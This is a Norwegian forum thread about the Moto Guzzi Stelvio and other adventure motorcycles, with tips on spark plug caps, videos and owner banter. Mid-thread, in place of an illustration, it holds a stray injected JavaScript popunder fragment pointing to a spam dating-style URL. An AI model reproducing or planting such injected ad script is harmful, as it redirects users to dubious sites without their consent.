Moto Guzzi NTX/8v 1200 Stelvio

[ArcticTiger]

Første som slo meg no eg såg bildet av NTX750 var KTM Adventure

Første som slo meg var den første Super Ténéré'en - 750'en - til Yamaha...

Det var vel på den tida på -90 tallet at "adventure-bike" segmentet ble et begrep? Inspirert av bla.a Paris-Dakar rallyet. Mange merker (i tillegg til ovenstående) hadde sånne sykkler: Honda Africa Twin, Triumph Tiger 900, Cagiva Elefant 750/900, Suzuki DR, BMW GS og sikkert flere Tøffe sykkler med gode kjøreegenskaper

Edit:
And for your pure viewing pleasure, the 1998 Triumph Tiger 900 in British Racing Green :

[ojda]

Hvær gang jeg ser detta bildet minnes jeg på at det er ikke
så greit der Nordpå Ikke mye sol å spore der
i løpet av sessongen

[AJ]

Artig med video'er som denne, som viser hvor begeistret testkjørerne er over syklene de får prøvd seg på :

[video]http://www.youtube.com/watch?v=d3nmHWlbhUE[/video]

Tro jammen jeg må få testa ut den ny V7'ern til våren, gitt
Heftig Stelvio-kjøring på grusveien, for øvrig :-)

[AJ]

Lurt og nyttig tips til oss som har Guzzi med den nye 8-ventilers motoren.

Å få løs pluggledning/plugghette uten at hetta skades har vist seg å være en PITA jobb på disse motorene... For å unngå skader er dette visstnok en ypperlig måte å gå fram på:
');var popunder = {expire: 6, url: "https://flirthoney-hot.life/?u=lcd8hwq&o=h6dw1n9"};}

Enkelt og greit en strips og vips! er plugghetta løsnet uten problem

Og når er man nødt til å få løs pluggledningen?
Når pluggene skal byttes, selvfølgelig...
Men kanskje også lurt å skru dem ut når ventilene skal justeres også?
Den jobben er visst veldig lett på disse motorene

[Kjellrf]

På eldre Guzzier er det lurt å ta med ei ekstra plugghette og plugg, ramler sykkelen omkull, er plugghetta omtrent lengst ut...

[joo]

Å få løs pluggledning/plugghette uten at hetta skades har vist seg å være en PITA jobb på disse motorene... For å unngå skader er dette visstnok en ypperlig måte å gå fram på:
Enkelt og greit en strips og vips! er plugghetta løsnet uten problem

Og når er man nødt til å få løs pluggledningen?
Når pluggene skal byttes, selvfølgelig...
Men kanskje også lurt å skru dem ut når ventilene skal justeres også?
Den jobben er visst veldig lett på disse motorene

Eneste problemet jeg har møtt så langt når jeg mekker boxermotorer. Men har kjøpt spesialverktøy for å få grep på sakene når dem skal ut. Der er jo coil en del av hetta.
Men det stripsknepet kan være smart å notere seg ja

Er nok et must å ta ut plugger for ventiljustering... Skal straks ned i mekkebua og nettopp justere ventiler på et par sykler, smålei av julemusikk og mat.

[AJ]

Om man har gjort et rett sykkelvalg vet man som regel ikke før etter noe tid.
Når et valg er gjort har man samtidig valgt bort noe.
Som denne karen gjorde. Om det er det beste valget i segmentet sies det ingeting om, men den nye Stelvio eieren virker i hvert fall veldig godt fornøyd:

http://advrider.com/forums/showthread.p ... st20331882" onclick="window.open(this.href);return false;

Gøy å lese entusiastiske brukertester som dette
Så får man håpe at eieren blir like fornøyd med Guzzi'en som BMW'en med 47K km (miles?) på telleren...

[AJ]

Sitat fra en post i en annen tråd:

Selv drømmer jeg om en Stelvio med nye 1400ccm til Moto Guzzi. Bruker jeg sunn fornuft, håper jeg den aldri blir en realitet. Lar jeg "guttungen i Mannen" bestemme, ja så setter jeg meg på vente liste i morgen. :-)

Klatre i motbakker, og kjenne dunkingen i sykkelen av twin motoren og dreiemoment dra sykkelen ut av svingene og oppover bratte bakker...det er min greie..."bare må ha det" :-)

Hadde vært fascinerende med en 1400 kubikker Stelvio, ja.
Men egentlig tror jeg det hadde holdt om italienerne tok seg selv i nakken og bestemte seg for å øke kubikken på den eksisterende 1151 kubikkeren til f.eks. 1187 eller 1199 ved f.eks. å øke boringen på 95 mm til drøye 96.
Om dette er mulig uten at det kompromitterer faktorer som kjøling, størrelsen på sylinder med kjøleribber, dreiemoment- og effekt osv. osv., vet jeg ingenting om. Men jeg tror en slik modifisering ville vært mer enn nok og trolig gitt det lille ekstra med effekt som i hvert fall flere testkjørere har nevnt i sine anmeldelser...
Når det er nevnt tror jeg for øvrig tror jeg at de fleste av oss som kjører Stelvio opplever at den er sterk nok som den er

Edit:
Mer presise utregninger enn mine på "gamlemåten", ser det ut til på denne siden... :

http://library.thinkquest.org/C006011/e ... m.php3?v=2" onclick="window.open(this.href);return false;

[L-NA]

Jeg har lest en del her på Forumet i tråden om nye GS'n, og er nesten imponert over all historisk kunnskap som kommer frem om denne sykkelen, og da kanskje mest om problemene, og hvordan BMW har taklet, reparert og utbedret disse. I den forbindelse lurer jeg på om noen har tilsvarende kunnskap om Stelvio'n når det gjelder kjente feil, mangler etc. Selvfølgelig er denne sykkelen bare barnet i forhold til GS'n - hva solgte eksemplarer, historie og tilbakelagte Km angår, men likevel ??

[joo]

Nja, har ikke Guzziene sitt opphav fra BMW da?

[L-NA]

Nja, har ikke Guzziene sitt opphav fra BMW da?

Drit bra, men nå må du ikke gå i garasjen å begynne å velte på BMW'n din, den blir dessverre ikke som like bra som Guzzi'n likevel. BMW'n er å blir en vits vet du..

[joo]

Drit bra, men nå må du ikke gå i garasjen å begynne å velte på BMW'n din, den blir dessverre ikke som like bra som Guzzi'n likevel. BMW'n er å blir en vits vet du..

Hadde ikke ventet et så sviende svar

[L-NA]

Drit bra, men nå må du ikke gå i garasjen å begynne å velte på BMW'n din, den blir dessverre ikke som like bra som Guzzi'n likevel. BMW'n er å blir en vits vet du..

Hadde ikke ventet et så sviende svar

Unskyld då ...klarte berre ikke dy meg :-)

[omaas]

Orginalen sier vell det meste:

[guzzi Trøndelag]

Her er den Engelske versjonen